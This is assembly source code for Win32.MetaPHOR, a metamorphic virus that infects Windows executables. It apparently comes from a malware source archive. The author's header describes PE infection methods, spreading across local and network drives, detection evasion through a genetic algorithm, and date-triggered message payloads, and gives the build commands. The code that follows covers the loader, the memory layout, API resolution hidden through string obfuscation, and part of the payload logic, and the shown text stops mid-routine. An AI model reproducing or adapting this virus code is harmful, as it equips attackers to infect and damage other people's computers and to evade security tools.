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MalwareSourceCode/Win32/Infector/Win32.Metaphor.asm

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;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; ---------------------- ;;
;; * Win32.MetaPHOR v1B * ;;
;; ---------------------- ;;
;; ;;
;; Metamorphic Permutating High-Obfuscating Reassembler ;;
;; ;;
;; Coded by The Mental Driller/29A ;;
;; ;;
;; ;;
;; I proudly present my very first metamorphic virus (in its version 1.1). ;;
;; ;;
;; This virus is only code. No tables, no indirect jumps, etc. etc. It ;;
;; doesn't uses the stack to construct strings, executable code or data: ;;
;; what I do is a reservation of 3'5 Mb of data (more or less) with ;;
;; VirtualAlloc and then use the decryptor to copy the decrypted virus there ;;
;; (or unencrypted, since it has a probability of 1/16 of being unencrypted, ;;
;; so the decryptor in that cases is in fact a copy routine). The reserved ;;
;; memory is organized in sections (as if it were a PE) where I do all the ;;
;; operations. VirtualAlloc will be retrieved by the decryptor if it's not ;;
;; imported by the host, and the host must import GetModuleHandleA/W and ;;
;; GetProcAddress to be infected. This functions will be used by the virus ;;
;; to get the needed APIs. ;;
;; ;;
;; The type of metamorphism followed is what I call the "accordion model": ;;
;; disassembly/depermutation -> shrinking -> permutation -> expansion -> ;;
;; -> reassembly, so the code can be bigger or smaller than the previous ;;
;; generation. ;;
;; ;;
;; The metamorphism in this virus is complete: even the result of the ;;
;; shrinking can't be used for detection, because is different in every ;;
;; generation. That's the point where I introduce a new concept: dimensions ;;
;; in recoding (I mean, code that only get shrinked on two or more ;;
;; generations, but not in the immediate following; this would be the ;;
;; "third" dimension). This makes the disassembly to have always a different ;;
;; shape from generation to generation, but, when stabilized, never growing ;;
;; uncontrolablely. ;;
;; ;;
;; I have added a genetic algorithm in certain parts of the code to make it ;;
;; evolve to the best shape (the one that evades more detections, the action ;;
;; more stealthy, etc. etc.). It's a simple algorithm based on weights, so ;;
;; don't expect artificial intelligence :) (well, maybe in the future :P). ;;
;; ;;
;; I tried to comment the code as cleanly as possible, but well... :) ;;
;; ;;
;; If the code isn't optimized (in fact, it's NOT optimized), it's because: ;;
;; ;;
;; 1) It's more clear to see the code that the internal engine will deal ;;
;; with (for example, many times I use SUB ECX,1 instead of DEC ECX, ;;
;; although the disassembler can deal with both opcodes). ;;
;; 2) What's the point for optimizing the code when in next generation it ;;
;; will be completely unoptimized/garbled? :) ;;
;; 3) The obfuscation in next generations is bigger (MUCH bigger). ;;
;; ;;
;; ;;
;; General sheet of characteristics: ;;
;; ;;
;; Name of the virus.............: MetaPHOR v1.0 ;;
;; Author........................: The Mental Driller / 29A ;;
;; Size..........................: On 1st generation: 32828 bytes ;;
;; On next ones: variable, but not less ;;
;; than 64 Kb ;;
;; Targets.......................: Win32 PE EXEs, supporting three types ;;
;; of infection: mid-infection (when ;;
;; .reloc is present), at last section ;;
;; but using the padding space between ;;
;; sections to store the decrytor/mover, ;;
;; or all at last section. ;;
;; It infects EXEs with a 50% of prob. in ;;
;; current directory and going up the ;;
;; directory three by three levels. It ;;
;; also retrieves the drive strings on ;;
;; the system and makes the same if they ;;
;; are fixed or network drives. ;;
;; It uses EPO patching ExitProcess. ;;
;; Stealth action................: It doesn't enter in directories that ;;
;; begin with 'W' (avoiding the windows ;;
;; directory) and doesn't infect files ;;
;; with a 'V' in the name or beginning ;;
;; with the letters 'PA', 'F-', 'SC', ;;
;; 'DR' or 'NO'. ;;
;; Genetic algorithm in the selection of ;;
;; the infection methods, the creation of ;;
;; of the decryptor and some more things ;;
;; to make it more resistant or more ;;
;; difficult to detect due to "evolution".;;
;; Encrypted.....................: Sometimes not. ;;
;; Polymorphic...................: Yes ;;
;; Metamorphic...................: Yes ;;
;; Payloads......................: 1) A message box on 17h March, June, ;;
;; September and December with a ;;
;; metamorphic message :). ;;
;; 2) On 14h May and on hebrew systems it ;;
;; displays a messagebox with the text: ;;
;; "Free Palestine!" ;;
;; Anti-debugging................: Implicit ;;
;; Release history...............: ;;
;; v1.0: 11-02-2002 (I just finished commenting the source code ;;
;; and correcting the bugs I found doing that). ;;
;; v1.1: 14-02-2002 ;;
;; ;;
;; ;;
;; To do in next versions: ;;
;; ;;
;; 1) ELF infection: I only have to add APIs and call one or another ;;
;; depending on the operating system, and add the ELF infection algorithm. ;;
;; 2) Reassembly for different processors: IA64, Alpha, PowerPC, etc. I only ;;
;; have to code a new disassembler/reassembler, since for every internal ;;
;; operation I use a self-defined pseudo-assembler with its own opcodes. ;;
;; 3) Plug-in injector ;;
;; 4) More things (of course!! :). ;;
;; ;;
;; ;;
;; My thanks comes to: ;;
;; 29A, of course. ;;
;; Vecna & Z0MBiE for being pioneers in the field of metamorphism. I thank ;;
;; Vecna his interest by this virus and his suggestions. Of course, I ;;
;; never took them in account :P (acaso te dije como tenias que hacer ;;
;; el Lexo32, boludin asqueroso??? :P :P :P :P ;D) ;;
;; Eden Kirin, the author of ConTEXT (editor for programmers). It would be ;;
;; a hell to make a source like this one with EDIT :). ;;
;; The opressed people in the world. ;;
;; ;;
;; ;;
;; Also big thanks to Trent Reznor and NIN by their music, which inspired ;;
;; me greatly while coding this, specially the Halo 14 (commonly known as ;;
;; "The Fragile"). From the lyrics of "Somewhat damaged", a quote that ;;
;; resumes quite well the feeling of this code: ;;
;; ;;
;; "how could I ever think it's funny how ;;
;; everything that swore it wouldn't change is different now..." ;;
;; ;;
;; Well, in the song it doesn't have that meaning, but it does when you ;;
;; quote it alone heading this code :). ;;
;; ;;
;; And a big "FUCK YOU" to fascists, whatever the flag or religion they use ;;
;; to hide themselves behind, the country they live/represent and the moral ;;
;; reasons they say to justify their actions (for both attack and revenge): ;;
;; all them have the same inferior mind that makes them to think like ;;
;; animals. ;;
;; ;;
;; ;;
;; OK, so here's the proggy. Enjoy it as much as I enjoyed doing it. ;;
;; ;;
;; To assemble: ;;
;; TASM32 /m29A /ml MetaPHOR.asm ;;
;; TLINK32 -Tpe -aa -x MetaPHOR.obj,,,kernel32.lib ;;
;; ;;
;; No need of making PEWRSEC! ;;
;; ;;
;; ;;
;; Quick reference (keyword search): ;;
;; ;;
;; Variable declaration........................: Key_!VarDeclr ;;
;; Beginning of virus..........................: Key_!VirusStart ;;
;; Disassembler................................: Key_!Disassembler ;;
;; Shrinker....................................: Key_!Shrinker ;;
;; Variable identificator......................: Key_!VarIdent ;;
;; Permutator..................................: Key_!Permutator ;;
;; Expander....................................: Key_!Xpander ;;
;; Reassembler.................................: Key_!Assembler ;;
;; Infection code..............................: Key_!Infector ;;
;; Decryptor maker.............................: Key_!MakePoly ;;
;; ;;
;; ;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
.386p
.model flat
locals
.code
ret ; All code in DATA section. TASM allow this and we
.data ; don't need to activate the write flag after assembling
; the code.
AddressToFree dd 0
extrn ExitProcess:PROC
extrn VirtualAlloc:PROC
extrn VirtualFree:PROC
extrn GetModuleHandleA:PROC
extrn GetProcAddress:PROC
extrn MessageBoxA:PROC ; First generation imports
;; This code (PreMain) only exists at first generation.
;; PreMain is a loader of the virus in the same way an infected host will
;; load it.
PreMain proc
push 4
push 1000h
push 340000h ; Reserve 340000h bytes (~ 3.4Mb)
push 0
call VirtualAlloc
or eax, eax
jz @@Error
mov ebp, eax ; Set delta of reserved memory
mov [AddressToFree], eax
mov ebx, eax
mov esi, offset Main
mov edi, eax
mov ecx, offset EndOfCode
sub ecx, offset Main
rep movsb ; Copy virus
push __DISASM2_SECTION
push __DATA_SECTION
push __BUFFERS_SECTION
push __DISASM_SECTION
push __CODE_SECTION ; Push section addresses
mov eax, offset GetProcAddress
mov eax, [eax+2]
push eax ; Push needed APIs
mov eax, offset GetModuleHandleA
mov eax, [eax+2]
push eax
push 5*2 ; Bit 0=0: 'A', 1:'W' for GetModuleHandle
call ebx ; Call MetaPHOR!
push 0C000h
push 0
push dword ptr [AddressToFree]
call VirtualFree ; This isn't needed at all, since where
; our process is destroyed all the virtual memory
; allocated by it is deallocated automatically.
@@Error:
push 0
call ExitProcess
PreMain endp
;; Now we are executing in the reserved memory
;;
;; ATTENTION: LEAs loading offsets of variables are problematic (due to the
;; variable identificator) so, in the cases like string constructors and
;; getting info from FindFirst and FindNext the operations will be performed
;; directly into memory sections, to avoid them getting marked as variables.
;; In the entrance, the polymorphic loader/decryptor must pass the next data:
;;; DeltaReg --> Initialized (in this case, EBP)
;;;
;;; In reverse-push order (C-like):
;;; * (Number of register used for Delta SHL 1) AND (A/W flag for
;; GetModuleHandleA/W)
;;; * Address to GetModuleHandle in import table
;;; * Address to GetProcAddress in import table
;;; * Offset of CODE_SECTION
;;; * Offset of DISASM_SECTION
;;; * Offset of BUFFERS_SECTION
;;; * Offset of DATA_SECTION
;;; * Offset of DISASM2_SECTION
;;;
;;; All data passed is local to the engine, I mean, it can be modified (and
;;; in fact it will be modified) during the reassembly. In this way we don't
;;; have even the variables in a fixed delta location, although even keeping
;;; fixed section offsets the variables are relocated.
;;
;;
;; KEYWORD: Key_!VarDeclr
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;************************************************************************;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;
;; Memory addresses. The variables are internal offsets into the data section,
;; so they are coded in this way. As you can see, all them are EQUs.
;;
;; There are also some equates to make easier the programming, although all
;; the values here are only valid on first generation, due to the fact that
;; they'll recalculated and randomized.
;;
__CODE_SECTION EQU 000000h
__DISASM_SECTION EQU 100000h
__BUFFERS_SECTION EQU 080000h
__LABEL_SECTION EQU __BUFFERS_SECTION + 00000h
__VARIABLE_SECTION EQU __BUFFERS_SECTION + 10000h
__BUFFER1_SECTION EQU __BUFFERS_SECTION + 20000h
__BUFFER2_SECTION EQU __BUFFERS_SECTION + 30000h
__VAR_MARKS_SECTION EQU __BUFFERS_SECTION + 40000h
__DATA_SECTION EQU 0E0000h
__DISASM2_SECTION EQU 200000h
NumberOfLabels EQU __DATA_SECTION + 0000h
NumberOfInstructions EQU __DATA_SECTION + 0008h
InstructionTable EQU __DATA_SECTION + 0010h
LabelTable EQU __DATA_SECTION + 0018h
FutureLabelTable EQU __DATA_SECTION + 0020h
PathMarksTable EQU __DATA_SECTION + 0028h
NumberOfLabelsPost EQU __DATA_SECTION + 0030h
AddressOfLastInstruction EQU __DATA_SECTION + 0038h
VariableTable EQU __DATA_SECTION + 0040h
NumberOfVariables EQU __DATA_SECTION + 0048h
FramesTable EQU __DATA_SECTION + 0050h
PermutationResult EQU __DATA_SECTION + 0058h
JumpsTable EQU __DATA_SECTION + 0060h
AddressOfLastFrame EQU __DATA_SECTION + 0068h
PositionOfFirstInstruction EQU __DATA_SECTION + 0070h
MODValue EQU __DATA_SECTION + 0078h
NumberOfJumps EQU __DATA_SECTION + 0080h
RndSeed1 EQU __DATA_SECTION + 0088h
RndSeed2 EQU __DATA_SECTION + 0090h
ExpansionResult EQU __DATA_SECTION + 0098h
Register8Bits EQU __DATA_SECTION + 00A0h
Xp_Register0 EQU __DATA_SECTION + 00A8h
Xp_Register1 EQU __DATA_SECTION + 00B0h
Xp_Register2 EQU __DATA_SECTION + 00B8h
Xp_Register3 EQU __DATA_SECTION + 00C0h
Xp_Register4 EQU __DATA_SECTION + 00C8h
Xp_Register5 EQU __DATA_SECTION + 00D0h
Xp_Register6 EQU __DATA_SECTION + 00D8h
Xp_Register7 EQU __DATA_SECTION + 00E0h
DeltaRegister EQU __DATA_SECTION + 00E8h
Xp_8Bits EQU __DATA_SECTION + 00F0h
Xp_Operation EQU __DATA_SECTION + 00F8h
Xp_Register EQU __DATA_SECTION + 0100h
Xp_Mem_Index1 EQU __DATA_SECTION + 0108h
Xp_Mem_Index2 EQU __DATA_SECTION + 0110h
Xp_Mem_Addition EQU __DATA_SECTION + 0118h
Xp_Immediate EQU __DATA_SECTION + 0120h
Xp_SrcRegister EQU __DATA_SECTION + 0128h
Xp_FlagRegOrMem EQU __DATA_SECTION + 0130h
Xp_RecurseLevel EQU __DATA_SECTION + 0138h
Xp_LEAAdditionFlag EQU __DATA_SECTION + 0140h
VarMarksTable EQU __DATA_SECTION + 0148h
_BUFFERS_SECTION EQU __DATA_SECTION + 0150h
_CODE_SECTION EQU __DATA_SECTION + 0158h
_DISASM_SECTION EQU __DATA_SECTION + 0160h
_LABEL_SECTION EQU __DATA_SECTION + 0168h
_VARIABLE_SECTION EQU __DATA_SECTION + 0170h
_BUFFER1_SECTION EQU __DATA_SECTION + 0178h
_BUFFER2_SECTION EQU __DATA_SECTION + 0180h
_VAR_MARKS_SECTION EQU __DATA_SECTION + 0188h
_DATA_SECTION EQU __DATA_SECTION + 0190h
_DISASM2_SECTION EQU __DATA_SECTION + 0198h
New_CODE_SECTION EQU __DATA_SECTION + 01A0h
New_DISASM_SECTION EQU __DATA_SECTION + 01A8h
New_BUFFERS_SECTION EQU __DATA_SECTION + 01B0h
; New_LABEL_SECTION EQU __DATA_SECTION + 01B0h
; New_VARIABLE_SECTION EQU __DATA_SECTION + 01B8h
; New_BUFFER1_SECTION EQU __DATA_SECTION + 01C0h
; New_BUFFER2_SECTION EQU __DATA_SECTION + 01C8h
; New_VAR_MARKS_SECTION EQU __DATA_SECTION + 01D0h
New_DATA_SECTION EQU __DATA_SECTION + 01D8h
New_DISASM2_SECTION EQU __DATA_SECTION + 01E0h
RVA_GetModuleHandle EQU __DATA_SECTION + 01E8h
RVA_GetProcAddress EQU __DATA_SECTION + 01F0h
FlagAorW EQU __DATA_SECTION + 01F8h
ReturnValue EQU __DATA_SECTION + 0200h
hKernel EQU __DATA_SECTION + 0208h
hUser32 EQU __DATA_SECTION + 0210h
RVA_CreateFileA EQU __DATA_SECTION + 0218h
RVA_CreateFileMappingA EQU __DATA_SECTION + 0220h
RVA_MapViewOfFile EQU __DATA_SECTION + 0228h
RVA_UnmapViewOfFile EQU __DATA_SECTION + 0230h
RVA_GetFileSize EQU __DATA_SECTION + 0238h
RVA_GetFileAttributesA EQU __DATA_SECTION + 0240h
RVA_SetFileAttributesA EQU __DATA_SECTION + 0248h
RVA_SetFilePointer EQU __DATA_SECTION + 0250h
RVA_SetFileTime EQU __DATA_SECTION + 0258h
RVA_SetEndOfFile EQU __DATA_SECTION + 0260h
RVA_FindFirstFileA EQU __DATA_SECTION + 0268h
RVA_FindNextFileA EQU __DATA_SECTION + 0270h
RVA_FindClose EQU __DATA_SECTION + 0278h
RVA_CloseHandle EQU __DATA_SECTION + 0280h
RVA_MessageBoxA EQU __DATA_SECTION + 0288h
NewLabelTable EQU __DATA_SECTION + 0290h
Asm_ByteToSort EQU __DATA_SECTION + 0298h
JumpRelocationTable EQU __DATA_SECTION + 02A0h
NumberOfJumpRelocations EQU __DATA_SECTION + 02A8h
Permut_LastInstruction EQU __DATA_SECTION + 02B0h
TranslatedDeltaRegister EQU __DATA_SECTION + 02B8h
hFile EQU __DATA_SECTION + 02C0h
FileSize EQU __DATA_SECTION + 02C8h
OriginalFileSize EQU __DATA_SECTION + 02D0h
hMapping EQU __DATA_SECTION + 02D8h
MappingAddress EQU __DATA_SECTION + 02E0h
HeaderAddress EQU __DATA_SECTION + 02E8h
StartOfSectionHeaders EQU __DATA_SECTION + 02F0h
RelocHeader EQU __DATA_SECTION + 02F8h
TextHeader EQU __DATA_SECTION + 0300h
DataHeader EQU __DATA_SECTION + 0308h
RVA_TextHole EQU __DATA_SECTION + 0310h
Phys_TextHole EQU __DATA_SECTION + 0318h
TextHoleSize EQU __DATA_SECTION + 0320h
RVA_DataHole EQU __DATA_SECTION + 0328h
Phys_DataHole EQU __DATA_SECTION + 0330h
MakingFirstHole EQU __DATA_SECTION + 0338h
ExitProcessAddress EQU __DATA_SECTION + 0340h
GetModuleHandleAddress EQU __DATA_SECTION + 0348h
GetProcAddressAddress EQU __DATA_SECTION + 0350h
VirtualAllocAddress EQU __DATA_SECTION + 0358h
GetModuleHandleMode EQU __DATA_SECTION + 0360h
VirtualPositionOfVar EQU __DATA_SECTION + 0368h
PhysicalPositionOfVar EQU __DATA_SECTION + 0370h
Kernel32Imports EQU __DATA_SECTION + 0378h
hFindFile EQU __DATA_SECTION + 0380h
Addr_FilePath EQU __DATA_SECTION + 0388h
FileAttributes EQU __DATA_SECTION + 0390h
SizeOfNewCode EQU __DATA_SECTION + 0398h
FindFileData EQU __DATA_SECTION + 03A0h
OtherBuffers EQU __DATA_SECTION + 03A8h
RoundedSizeOfNewCode EQU __DATA_SECTION + 03B0h
NewAssembledCode EQU __DATA_SECTION + 03B8h
NumberOfUndoActions EQU __DATA_SECTION + 03C0h
LastHeader EQU __DATA_SECTION + 03C8h
MaxSizeOfDecryptor EQU __DATA_SECTION + 03D0h
CreatingADecryptor EQU __DATA_SECTION + 03D8h
DecryptorPseudoCode EQU __DATA_SECTION + 03E0h
AssembledDecryptor EQU __DATA_SECTION + 03E8h
Decryptor_DATA_SECTION EQU __DATA_SECTION + 03F0h
SizeOfExpansion EQU __DATA_SECTION + 03F8h
SizeOfDecryptor EQU __DATA_SECTION + 0400h
TypeOfEncryption EQU __DATA_SECTION + 0408h
EncryptionKey EQU __DATA_SECTION + 0410h
IndexValue EQU __DATA_SECTION + 0418h
IndexRegister EQU __DATA_SECTION + 0420h
BufferRegister EQU __DATA_SECTION + 0428h
CounterRegister EQU __DATA_SECTION + 0430h
BufferValue EQU __DATA_SECTION + 0438h
CounterValue EQU __DATA_SECTION + 0440h
Poly_FirstPartOfFunction EQU __DATA_SECTION + 0448h
Poly_SecondPartOfFunction EQU __DATA_SECTION + 0450h
Poly_ThirdPartOfFunction EQU __DATA_SECTION + 0458h
AdditionToBuffer EQU __DATA_SECTION + 0460h
Poly_Jump_ErrorInVirtualAlloc EQU __DATA_SECTION+0468h
;Index2Register EQU __DATA_SECTION + 0470h
Poly_LoopLabel EQU __DATA_SECTION + 0478h
RVA_GetSystemTime EQU __DATA_SECTION + 0480h
RVA_GetTickCount EQU __DATA_SECTION + 0488h
RVA_GetDriveTypeA EQU __DATA_SECTION + 0490h
RVA_GetLogicalDriveStringsA EQU __DATA_SECTION + 0498h
RVA_SetCurrentDirectoryA EQU __DATA_SECTION + 04A0h
StartOfEncryptedData EQU __DATA_SECTION + 04A8h
SizeOfNewCodeP2 EQU __DATA_SECTION + 04B0h
Poly_InitialValue EQU __DATA_SECTION + 04B8h
Poly_Addition EQU __DATA_SECTION + 04C0h
Poly_ExcessJumpInstruction EQU __DATA_SECTION + 04C8h
DirectoryDeepness EQU __DATA_SECTION + 04D0h
RVA_GetSystemDefaultLCID EQU __DATA_SECTION + 04D8h
Poly_JumpRandomExecution EQU __DATA_SECTION + 04E0h
Weight_X000_3 EQU __DATA_SECTION + 04E8h
Weight_X004_7 EQU __DATA_SECTION + 04F0h
Weight_X008_11 EQU __DATA_SECTION + 04F8h
Weight_X012_15 EQU __DATA_SECTION + 0500h
Weight_X016_19 EQU __DATA_SECTION + 0508h
Weight_X020_23 EQU __DATA_SECTION + 0510h
;;
;;
;; End of variables
;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; KEYWORD: Key_!VirusStart
Main proc
; EBP = Delta offset
pop ebx ; Return address
pop eax
mov ecx, eax
and eax, 1
mov [ebp+FlagAorW], eax ; Get if GetModuleHandle is A or W
and ecx, 0FFFFFFFEh
shr ecx, 1
mov [ebp+DeltaRegister], ecx ; Get the delta register nr.
pop eax
mov eax, [eax]
mov [ebp+RVA_GetModuleHandle], eax
pop eax
mov eax, [eax]
mov [ebp+RVA_GetProcAddress], eax
pop eax
and eax, 03FFFFFh ; Eliminate the two highest bits
mov [ebp+_CODE_SECTION], eax
pop eax
and eax, 03FFFFFh ; "
mov [ebp+_DISASM_SECTION], eax
pop eax
and eax, 03FFFFFh ; "
mov [ebp+_BUFFERS_SECTION], eax
mov [ebp+_LABEL_SECTION], eax ; Construct the other
add eax, 10000h ; section addresses
mov [ebp+_VARIABLE_SECTION], eax
add eax, 10000h
mov [ebp+_BUFFER1_SECTION], eax
add eax, 10000h
mov [ebp+_BUFFER2_SECTION], eax
add eax, 10000h
mov [ebp+_VAR_MARKS_SECTION], eax
pop eax
and eax, 03FFFFFh
mov [ebp+_DATA_SECTION], eax
pop eax
and eax, 03FFFFFh
mov [ebp+_DISASM2_SECTION], eax
push ebx ; Restore return value
;; Let's set the weights for the genetic algorithm. These are code structures
;; recognized by the shrinker.
;; The initial values of the weights are not arbitrary: they are the initial
;; values that simulate the random behaviour that was before the addition of
;; this type of algorithm.
;; These code structures are shrinked as
;; SET_WEIGHT [ebp+Weight_X000_3],0,EAX,ECX
;; SET_WEIGHT [ebp+Weight_X004_7],1,EAX,ECX
;; and so on.
push eax
mov eax, 0
mov ecx, 10808080h ; Weights 3,2,1 and 0
mov [ebp+Weight_X000_3], ecx
pop eax
push eax
mov eax, 1
mov ecx, 10808010h ; Weights 7,6,5,4
mov [ebp+Weight_X004_7], ecx
pop eax
push eax
mov eax, 2
mov ecx, 80808055h ; Weights 11,10,9,8
mov [ebp+Weight_X008_11], ecx
pop eax
push eax
mov eax, 3
mov ecx, 80408080h ; Weights 15,14,13,12
mov [ebp+Weight_X012_15], ecx
pop eax
push eax
mov eax, 4
mov ecx, 55404040h ; Weights 19,18,17,16
mov [ebp+Weight_X016_19], ecx
pop eax
push eax
mov eax, 5
mov ecx, 0F0808080h ; Weights 23,22,21,20
mov [ebp+Weight_X020_23], ecx
pop eax
;; Let's get the addresses of the APIs that we are going to use:
mov edx, [ebp+_BUFFER1_SECTION]
add edx, ebp
push eax
push ecx
push edx ; APICALL_BEGIN
mov eax, 'nrek'
mov [edx], eax
mov eax, '23le'
mov [edx+4], eax
mov eax, 'lld.'
mov [edx+8], eax
xor eax, eax
mov [edx+0Ch], eax ; Get the address of KERNEL32.DLL
call APICall_GetModuleHandle
pop edx
pop ecx
pop eax ; APICALL_END
mov eax, [ebp+ReturnValue]
or eax, eax ; Get the handle. If 0, we exit
jz @@Error
mov [ebp+hKernel], eax
push eax
push ecx
push edx ; APICALL_BEGIN
mov eax, 'resu'
mov [edx], eax
mov eax, 'd.23'
mov [edx+4], eax
mov eax, 'll'
mov [edx+8], eax ; Get the address of USER32.DLL
call APICall_GetModuleHandle
pop edx
pop ecx
pop eax ; APICALL_END
mov eax, [ebp+ReturnValue] ; It doesn't matter if we
mov [ebp+hUser32], eax ; failed: it's used only to
; get MessageBoxA for the
; payload
mov edx, [ebp+_BUFFER1_SECTION]
add edx, ebp
mov edi, [ebp+hKernel] ; Place to construct the addresses
; names
mov eax, 'aerC'
mov [edx], eax
mov eax, 'iFet'
mov [edx+4], eax
mov eax, 'Ael'
mov [edx+8], eax
call GetFunction ; Get CreateFileA
or eax, eax
jz @@Error
mov [ebp+RVA_CreateFileA], eax
mov eax, 'ppaM'
mov [edx+0Ah], eax
mov eax, 'Agni'
mov [edx+0Eh], eax
xor eax, eax
mov [edx+12h], eax
call GetFunction ; Get CreateFileMappingA
or eax, eax
jz @@Error
mov [ebp+RVA_CreateFileMappingA], eax
add edx, 2
mov eax, 'VpaM'
mov [edx], eax
mov eax, 'Owei'
mov [edx+4], eax
mov eax, 'liFf'
mov [edx+8], eax
mov eax, 'e'
mov [edx+0Ch], eax
call GetFunction ; Get MapViewOfFile
or eax, eax
jz @@Error
mov [ebp+RVA_MapViewOfFile], eax
sub edx, 2
mov eax, 'amnU'
mov [edx], eax
call GetFunction ; Get UnmapViewOfFile
or eax, eax
jz @@Error
mov [ebp+RVA_UnmapViewOfFile], eax
mov eax, 'SteG'
mov [edx], eax
mov eax, 'etsy'
mov [edx+4], eax
mov eax, 'miTm'
mov [edx+8], eax
mov eax, 'e'
mov [edx+0Ch], eax
call GetFunction ; Get GetSystemTime
or eax, eax
jz @@Error
mov [ebp+RVA_GetSystemTime], eax
mov eax, 'virD'
mov [edx+3], eax
mov eax, 'pyTe'
mov [edx+7], eax
mov eax, 'Ae'
mov [edx+0Bh], eax
call GetFunction ; Get GetDriveTypeA
or eax, eax
jz @@Error
mov [ebp+RVA_GetDriveTypeA], eax
mov eax, 'igoL'
mov [edx+3], eax
mov eax, 'Dlac'
mov [edx+7], eax
mov eax, 'evir'
mov [edx+0Bh], eax
mov eax, 'irtS'
mov [edx+0Fh], eax
mov eax, 'Asgn'
mov [edx+13h], eax
xor eax, eax
mov [edx+17h], eax
call GetFunction ; Get GetLogicalDriveStringsA
or eax, eax
jz @@Error
mov [ebp+RVA_GetLogicalDriveStringsA], eax
mov eax, 'tsyS'
mov [edx+3], eax
mov eax, 'eDme'
mov [edx+7], eax
mov eax, 'luaf'
mov [edx+0Bh], eax
mov eax, 'ICLt'
mov [edx+0Fh], eax
mov eax, 'D'
mov [edx+13h], eax
call GetFunction ; Get GetSystemDefaultLCID
or eax, eax
jz @@Error
mov [ebp+RVA_GetSystemDefaultLCID], eax
mov eax, 'CteS'
mov [edx], eax
mov eax, 'erru'
mov [edx+4], eax
mov eax, 'iDtn'
mov [edx+8], eax
mov eax, 'tcer'
mov [edx+0Ch], eax
mov eax, 'Ayro'
mov [edx+10h], eax
xor eax, eax
mov [edx+14h], eax
call GetFunction ; Get SetCurrentDirectoryA
or eax, eax
jz @@Error
mov [ebp+RVA_SetCurrentDirectoryA], eax
mov eax, 'FteG'
mov [edx], eax
mov eax, 'Seli'
mov [edx+4], eax
mov eax, 'ezi'
mov [edx+8], eax
call GetFunction ; Get GetFileSize
or eax, eax
jz @@Error
mov [ebp+RVA_GetFileSize], eax
mov eax, 'rttA'
mov [edx+7], eax
mov eax, 'tubi'
mov [edx+0Bh], eax
mov eax, 'Ase'
mov [edx+0Fh], eax
call GetFunction ; Get GetFileAttributesA
or eax, eax
jz @@Error
mov [ebp+RVA_GetFileAttributesA], eax
mov eax, 'FteS'
mov [edx], eax
call GetFunction ; Get SetFileAttributesA
or eax, eax
jz @@Error
mov [ebp+RVA_SetFileAttributesA], eax
mov eax, 'nioP'
mov [edx+7], eax
mov eax, 'ret'
mov [edx+0Bh], eax
call GetFunction ; Get SetFilePointer
or eax, eax
jz @@Error
mov [ebp+RVA_SetFilePointer], eax
mov eax, 'emiT'
mov [edx+7], eax
xor eax, eax
mov [edx+0Bh], eax
call GetFunction ; Get SetFileTime
or eax, eax
jz @@Error
mov [ebp+RVA_SetFileTime], eax
mov eax, 'OdnE'
mov [edx+3], eax
mov eax, 'liFf'
mov [edx+7], eax
mov eax, 'e'
mov [edx+0Bh], eax
call GetFunction ; Get SetEndOfFile
or eax, eax
jz @@Error
mov [ebp+RVA_SetEndOfFile], eax
mov eax, 'dniF'
mov [edx], eax
mov eax, 'sriF'
mov [edx+4], eax
mov eax, 'liFt'
mov [edx+8], eax
mov eax, 'Ae'
mov [edx+0Ch], eax
call GetFunction ; Get FindFirstFileA
or eax, eax
jz @@Error
mov [ebp+RVA_FindFirstFileA], eax
mov eax, 'txeN'
mov [edx+4], eax
mov eax, 'eliF'
mov [edx+8], eax
mov eax, 'A'
mov [edx+0Ch], eax
call GetFunction ; Get FindNextFileA
or eax, eax
jz @@Error
mov [ebp+RVA_FindNextFileA], eax
mov eax, 'solC'
mov [edx+4], eax
mov eax, 'e'
mov [edx+8], eax
call GetFunction ; Get FindClose
or eax, eax
jz @@Error
mov [ebp+RVA_FindClose], eax
add edx, 4
mov eax, 'dnaH'
mov [edx+5], eax
mov eax, 'el'
mov [edx+9], eax
call GetFunction ; Get CloseHandle
or eax, eax
jz @@Error
mov [ebp+RVA_CloseHandle], eax
sub edx, 4
mov edi, [ebp+hUser32] ; Maybe NULL, but it's allowed by
mov eax, 'sseM' ; GetProcAddress
mov [edx], eax
mov eax, 'Bega'
mov [edx+4], eax
mov eax, 'Axo'
mov [edx+8], eax
call GetFunction ; Get MessageBoxA (from User32.DLL)
mov [ebp+RVA_MessageBoxA], eax ; 0 if not found or library
; not loaded
;; Let's initialize the random seed
push eax
push ecx
push edx ; APICALL_BEGIN
mov eax, [ebp+_BUFFER1_SECTION]
add eax, ebp
push eax
call dword ptr [ebp+RVA_GetSystemTime]
pop edx
pop ecx
pop eax ; APICALL_END
mov ebx, [ebp+_BUFFER1_SECTION]
add ebx, ebp
mov eax, [ebx+04h]
add eax, [ebx+0Ch]
mov [ebp+RndSeed1], eax
add eax, [ebx+08h]
mov [ebp+RndSeed2], eax
call Random
call Random ; Garble it a little
;; Now let's make some mixtures in the weights. Since the weights are
;; going to be hardcoded on the virus code before its use, we make here
;; some "garblement" to force the evolution of the infection methods. With
;; this, only the most powerful features will "survive".
xor ecx, ecx
@@LoopGarbleWeights:
push ecx
and ecx, 3
mov eax, ecx
call RandomBoolean_X000_3
mov eax, ecx
call RandomBoolean_X004_7
mov eax, ecx
call RandomBoolean_X008_11
mov eax, ecx
call RandomBoolean_X012_15
mov eax, ecx
call RandomBoolean_X016_19
mov eax, ecx
call RandomBoolean_X020_23
pop ecx
add ecx, 1
cmp ecx, 40h
jnz @@LoopGarbleWeights
mov eax, [ebp+RVA_MessageBoxA]
or eax, eax
jz @@NoPayload ; If we couldn't retrieve MessageBoxA,
; skip the payload
;; Payload
;;---------
;; Simple, silly MessageBox with a metamorphic message :)
;; The message is "MetaPHOR v1 by The Mental Driller/29A" but selecting
;; randomly the case of all letters.
mov edx, [ebp+_BUFFER1_SECTION]
add edx, ebp
mov eax, [edx+2]
and eax, 0FFh
cmp eax, 3 ; Month: March, June, September or
